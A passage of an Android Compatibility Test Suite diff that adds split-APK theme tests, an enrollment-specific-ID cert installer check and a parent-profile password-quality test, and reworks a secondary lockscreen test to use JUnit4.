      * Write app data in a number of locations that expect to remain intact over
      * long periods of time, such as across app moves.
@@ -593,6 +719,99 @@
         assertEquals(12, info.splitRevisionCodes[0]);
     }
 
+    @Test
+    public void launchBaseActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    private void assertActivityLaunchedAndThemeApplied(String activityName, int themeResId,
+            ThemeColors themeColors) {
+        final Activity activity = mActivityRule.launchActivity(
+                getTestThemeIntent(activityName, themeResId));
+        final TestThemeHelper expected = new TestThemeHelper(activity, themeResId);
+        expected.assertThemeValues(themeColors);
+        expected.assertThemeApplied(activity);
+    }
+
     private static Context getContext() {
         return InstrumentationRegistry.getInstrumentation().getTargetContext();
     }
@@ -660,4 +879,17 @@
             is.close();
         }
     }
+
+    private int resolveResourceId(String nameOfIdentifier) {
+        final int resId = getContext().getResources().getIdentifier(nameOfIdentifier, null, null);
+        assertTrue("Resource not found: " + nameOfIdentifier, resId != 0);
+        return resId;
+    }
+
+    private static Intent getTestThemeIntent(String activityName, int themeResId) {
+        final Intent intent = new Intent(ThemeActivity.INTENT_THEME_TEST);
+        intent.setComponent(ComponentName.createRelative(PKG, activityName));
+        intent.putExtra(ThemeActivity.EXTRAS_THEME_RES_ID, themeResId);
+        return intent;
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
new file mode 100644
index 0000000..8eba5cd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+import android.view.View;
+import android.view.Window;
+import android.widget.LinearLayout;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base and Theme_Warm and Theme_Rose.
+ */
+public class TestThemeHelper {
+
+    public static final String THEME_WARM =
+            "com.android.cts.splitapp.feature_warm:style/Theme_Warm";
+    public static final String THEME_ROSE =
+            "com.android.cts.splitapp.feature_rose:style/Theme_Rose";
+
+    public enum ThemeColors {
+        BASE,
+        BASE_LT,
+        WARM,
+        WARM_LT,
+        ROSE,
+        ROSE_LT
+    };
+
+    private static final int COLOR_BLUE = 0xFF0000FF;
+    private static final int COLOR_TEAL = 0xFF008080;
+    private static final int COLOR_AQUA = 0xFF00FFFF;
+    private static final int COLOR_BLUE_LT = 0xFFADD8E6;
+    private static final int COLOR_TEAL_LT = 0xFFE0F0F0;
+    private static final int COLOR_AQUA_LT = 0xFFE0FFFF;
+    private static final int COLOR_RED = 0xFFFF0000;
+    private static final int COLOR_YELLOW = 0xFFFFFF00;
+    private static final int COLOR_RED_LT = 0xFFFFCCCB;
+    private static final int COLOR_ORANGE_LT = 0xFFFED8B1;
+    private static final int COLOR_PINK = 0xFFFFC0CB;
+    private static final int COLOR_RUBY = 0xFFCC0080;
+    private static final int COLOR_PINK_LT = 0xFFFFB6C1;
+    private static final int COLOR_ROSE_LT = 0xFFFF66CC;
+
+    private static final int[] THEME_BASE_COLORS = {COLOR_BLUE, COLOR_TEAL, COLOR_AQUA};
+    private static final int[] THEME_BASE_LT_COLORS = {COLOR_BLUE_LT, COLOR_TEAL_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_WARM_COLORS = {COLOR_RED, COLOR_TEAL, COLOR_YELLOW};
+    private static final int[] THEME_WARM_LT_COLORS =
+            {COLOR_RED_LT, COLOR_ORANGE_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_ROSE_COLORS = {COLOR_PINK, COLOR_TEAL, COLOR_RUBY};
+    private static final int[] THEME_ROSE_LT_COLORS = {COLOR_PINK_LT, COLOR_ROSE_LT, COLOR_AQUA_LT};
+
+    /** {@link com.android.cts.splitapp.R.attr.customColor} */
+    private final int mCustomColor;
+
+    /** {#link android.R.attr.colorBackground} */
+    private final int mColorBackground;
+
+    /** {#link android.R.attr.navigationBarColor} */
+    private final int mNavigationBarColor;
+
+    /** {#link android.R.attr.statusBarColor} */
+    private final int mStatusBarColor;
+
+    /** {#link android.R.attr.windowBackground} */
+    private final int mWindowBackground;
+
+    public TestThemeHelper(Context context, int themeResId) {
+        final Resources.Theme theme = new ContextThemeWrapper(context, themeResId).getTheme();
+        mCustomColor = getColor(theme, R.attr.customColor);
+        mColorBackground = getColor(theme, android.R.attr.colorBackground);
+        mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+        mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+        mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+    }
+
+    public void assertThemeValues(ThemeColors themeColors) {
+        final int[] colors = getThemeColors(themeColors);
+        assertThat(themeColors).isNotNull();
+        assertThat(mCustomColor).isEqualTo(colors[0]);
+        assertThat(mNavigationBarColor).isEqualTo(colors[1]);
+        assertThat(mStatusBarColor).isEqualTo(colors[2]);
+        assertThat(mWindowBackground).isEqualTo(mCustomColor);
+    }
+
+    private int[] getThemeColors(ThemeColors themeColors) {
+        switch (themeColors) {
+            case BASE: return THEME_BASE_COLORS;
+            case BASE_LT: return THEME_BASE_LT_COLORS;
+            case WARM: return THEME_WARM_COLORS;
+            case WARM_LT: return THEME_WARM_LT_COLORS;
+            case ROSE: return THEME_ROSE_COLORS;
+            case ROSE_LT: return THEME_ROSE_LT_COLORS;
+            default:
+                break;
+        }
+        return null;
+    }
+
+    public void assertThemeApplied(Activity activity) {
+        assertLayoutBGColor(activity, mCustomColor);
+
+        final Window window = activity.getWindow();
+        assertThat(window.getStatusBarColor()).isEqualTo(mStatusBarColor);
+        assertThat(window.getNavigationBarColor()).isEqualTo(mNavigationBarColor);
+        assertDrawableColor(window.getDecorView().getBackground(), mWindowBackground);
+
+        assertTextViewBGColor(activity);
+    }
+
+    private int getColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final int color = ta.getColor(0, 0);
+        ta.recycle();
+        return color;
+    }
+
+    private int getDrawableColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final Drawable color = ta.getDrawable(0);
+        ta.recycle();
+        if (!(color instanceof ColorDrawable)) {
+            fail("Can't get drawable color");
+        }
+        return ((ColorDrawable) color).getColor();
+    }
+
+    private void assertLayoutBGColor(Activity activity, int expected) {
+        final LinearLayout layout = activity.findViewById(R.id.content);
+        final Drawable background = layout.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private void assertDrawableColor(Drawable drawable, int expected) {
+        int color = 0;
+        if (drawable instanceof ColorDrawable) {
+            color = ((ColorDrawable) drawable).getColor();
+        } else {
+            fail("Can't get drawable color");
+        }
+        assertThat(color).isEqualTo(expected);
+    }
+
+    private void assertTextViewBGColor(Activity activity) {
+        final View view = activity.findViewById(R.id.text);
+        final Drawable background = view.getBackground();
+        assertDrawableColor(background, mColorBackground);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
new file mode 100644
index 0000000..3931a55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class ThemeActivity extends Activity {
+    static final String INTENT_THEME_TEST = "com.android.cts.splitapp.intent.THEME_TEST";
+    static final String EXTRAS_THEME_RES_ID = "com.android.cts.splitapp.intent.extra.THEME_RES_ID";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        final int themeResId = intent.getIntExtra(EXTRAS_THEME_RES_ID, R.style.Theme_Base);
+        setTheme(themeResId);
+        setContentView(R.layout.base_linearlayout);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 0038c05..7dc9cca 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/stubime/OWNERS b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
new file mode 100644
index 0000000..ea4fd8f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/stubime/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 34867
+include platform/frameworks/base:/services/core/java/com/android/server/inputmethod/OWNERS
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 81cd918..aa9f439 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -38,7 +38,7 @@
 
     protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
     protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
-    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 10_000;
+    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 30_000;
 
     protected Context mContext;
     protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
index 599bd8e..476c109 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
@@ -24,12 +24,12 @@
 import android.util.Log;
 
 import java.io.ByteArrayInputStream;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.spec.PKCS8EncodedKeySpec;
 import java.security.KeyFactory;
 import java.security.PrivateKey;
 import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
 
 /**
@@ -55,6 +55,9 @@
     // exercises {@link DevicePolicyManager#installKeyPair},
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
+    // exercises {@link DevicePolicyManager#getEnrollmentSpecificId}
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
 
@@ -141,10 +144,17 @@
                 Log.e(TAG, "Exception raised duing ACTION_INSTALL_KEYPAIR", e);
                 sendResult(context, false, e);
             }
+        } else if (ACTION_READ_ENROLLMENT_SPECIFIC_ID.equals(action)) {
+            try {
+                final String esid = dpm.getEnrollmentSpecificId();
+                sendResult(context, !esid.isEmpty(), null);
+            } catch (SecurityException e) {
+                Log.e(TAG, "Exception raised during ACTION_READ_ENROLLMENT_SPECIFIC_ID", e);
+                sendResult(context, false, e);
+            }
         }
     }
 
-
     private void sendResult(Context context, boolean succeed, Exception e) {
         Intent intent = new Intent();
         intent.setAction(ACTION_CERT_OPERATION_DONE);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
index 891bd72..7e4cd3d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -63,14 +63,14 @@
         mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
 
         // Must try a couple times because it will be disabled asynchronously.
-        for (int i = 1; i <= 5; i++) {
+        for (int i = 1; i <= 15; i++) {
             final boolean disabledAfter = !launchActivityAndGetEnabled();
             if (disabledAfter) {
                 return;
             }
             Thread.sleep(100);
         }
-        fail("Not disabled after 2.5s");
+        fail("Not disabled after a period of time");
     }
 
     private boolean launchActivityAndGetEnabled() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index 45bfe40..f700c69 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -60,6 +60,8 @@
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String EXTRA_CERT_DATA = "extra_cert_data";
     private static final String EXTRA_KEY_DATA = "extra_key_data";
@@ -313,6 +315,19 @@
         assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
     }
 
+    public void testCanReadEnrollmentSpecificId() throws InterruptedException {
+        // Set the organization ID only if not already set, to avoid potential conflict
+        // with other tests.
+        if (mDpm.getEnrollmentSpecificId().isEmpty()) {
+            mDpm.setOrganizationId("SOME_ID");
+        }
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
+                CERT_INSTALL_SCOPES);
+
+        readEnrollmentId();
+        assertResult("testCanReadEnrollmentSpecificId", true);
+    }
+
     private void installCaCert(byte[] cert) {
         Intent intent = new Intent();
         intent.setAction(ACTION_INSTALL_CERT);
@@ -373,4 +388,12 @@
         intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         mContext.sendBroadcast(intent);
     }
+
+    private void readEnrollmentId() {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_READ_ENROLLMENT_SPECIFIC_ID);
+        intent.setComponent(CERT_INSTALLER_COMPONENT);
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        mContext.sendBroadcast(intent);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index a2c8832..92c7a56 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
 import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -127,4 +130,17 @@
                         restriction));
     }
 
+    public void testCanSetPasswordQualityOnParent() {
+        mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_COMPLEX);
+        try {
+            assertThat(mParentDevicePolicyManager.getPasswordQuality(
+                    ADMIN_RECEIVER_COMPONENT)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            // Cleanup
+            mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index 656210f..e014f13 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -17,38 +17,57 @@
 package com.android.cts.deviceandprofileowner;
 
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
-import static org.testng.Assert.assertThrows;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.os.PowerManager;
 import android.os.Process;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.Until;
-import android.util.Log;
 
-import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.List;
 
-public class SecondaryLockscreenTest extends BaseDeviceAdminTest {
+@RunWith(AndroidJUnit4.class)
+public class SecondaryLockscreenTest {
 
-    private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 5000;
+    private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 10000;
     private static final String TAG = "SecondaryLockscreenTest";
 
+    private Context mContext;
+    private DevicePolicyManager mDevicePolicyManager;
     private UiDevice mUiDevice;
 
     @Before
-    @Override
     public void setUp() throws Exception {
-        super.setUp();
+        mContext = InstrumentationRegistry.getContext();
+        assumeTrue(
+                "Device does not support secure lock",
+                mContext.getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        runShellCommand("locksettings set-pin 1234");
+        mUiDevice.executeShellCommand("locksettings set-disabled false");
+        mUiDevice.executeShellCommand("locksettings set-pin 1234");
 
         mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_RECEIVER_COMPONENT,
                 mContext.getPackageName());
@@ -59,14 +78,14 @@
     }
 
     @After
-    @Override
     public void tearDown() throws Exception {
-        super.tearDown();
         mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
-        runShellCommand("locksettings clear --old 1234");
+        mUiDevice.executeShellCommand("locksettings clear --old 1234");
+        mUiDevice.executeShellCommand("locksettings set-disabled true");
     }
 
+    @Test
     public void testSetSecondaryLockscreenEnabled() throws Exception {
         enterKeyguardPin();
         assertTrue("Lockscreen title not shown",
@@ -80,6 +99,7 @@
         verifyHomeLauncherIsShown();
     }
 
+    @Test
     public void testHomeButton() throws Exception {
         enterKeyguardPin();
         assertTrue("Lockscreen title not shown",
@@ -91,6 +111,7 @@
         verifySecondaryLockscreenIsShown();
     }
 
+    @Test
     public void testDismiss() throws Exception {
         enterKeyguardPin();
         assertTrue("Lockscreen title not shown",
@@ -107,25 +128,24 @@
         verifySecondaryLockscreenIsShown();
     }
 
+    @Test(expected = SecurityException.class)
     public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
         final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
-        assertThrows(SecurityException.class,
-                () -> mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true));
+        mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true);
     }
 
     private void enterKeyguardPin() throws Exception {
         final PowerManager pm = mContext.getSystemService(PowerManager.class);
-        runShellCommand("input keyevent KEYCODE_SLEEP");
-        waitUntil("Device still interactive", 5,
-                () -> pm != null && !pm.isInteractive());
-        runShellCommand("input keyevent KEYCODE_WAKEUP");
-        waitUntil("Device still not interactive", 5,
-                () -> pm.isInteractive());
-        runShellCommand("wm dismiss-keyguard");
-        mUiDevice.wait(Until.hasObject(By.res("com.android.systemui", "pinEntry")),
-                UI_AUTOMATOR_WAIT_TIME_MILLIS);
-        runShellCommand("input text 1234");
-        runShellCommand("input keyevent KEYCODE_ENTER");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        waitUntil("Device still interactive", 5, () -> pm != null && !pm.isInteractive());
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        waitUntil("Device still not interactive", 5, () -> pm.isInteractive());
+        mUiDevice.executeShellCommand("wm dismiss-keyguard");
+        mUiDevice.wait(
+                Until.hasObject(By.res("com.android.systemui", "pinEntry")),
+                        UI_AUTOMATOR_WAIT_TIME_MILLIS);
+        mUiDevice.executeShellCommand("input text 1234");
+        mUiDevice.executeShellCommand("input keyevent KEYCODE_ENTER");
     }
 
     private void verifyHomeLauncherIsShown() {
@@ -159,4 +179,4 @@
         }
         return resolveInfos.isEmpty() ? null : resolveInfos.get(0).activityInfo.packageName;
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
index 0c81063..10246cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
@@ -24,10 +24,11 @@
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.Display;
+import android.view.Gravity;
 import android.view.SurfaceControlViewHost;
 import android.view.View;
 import android.widget.Button;
-import android.widget.RelativeLayout;
+import android.widget.LinearLayout;
 import android.widget.TextView;
 
 /**
@@ -62,6 +63,8 @@
         title.setText(TITLE_LABEL);
 
         Button button = new Button(context);
+        // Avoid potential all caps text transformation on button. (eg. b/172993563)
+        button.setTransformationMethod(null);
         button.setText(DISMISS_BUTTON_LABEL);
         button.setOnClickListener(ignored -> {
             button.setText("Dismissing...");
@@ -69,10 +72,12 @@
             dismiss();
         });
 
-        RelativeLayout rootView = new RelativeLayout(context);
+        LinearLayout rootView = new LinearLayout(context);
+        rootView.setOrientation(LinearLayout.VERTICAL);
+        rootView.setGravity(Gravity.CENTER);
         rootView.setBackgroundColor(Color.WHITE);
         rootView.addView(title);
         rootView.addView(button);
         return rootView;
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 2f48dce..dee06b6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -15,10 +15,14 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
 import android.app.Instrumentation;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
+import android.os.UserHandle;
 import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 
@@ -38,6 +42,8 @@
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
     protected boolean mHasSecureLockScreen;
+    /** User running the test (obtained from {@code mContext}). */
+    protected @UserIdInt int mUserId;
 
     @Override
     protected void setUp() throws Exception {
@@ -45,17 +51,27 @@
 
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mDevice = UiDevice.getInstance(mInstrumentation);
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
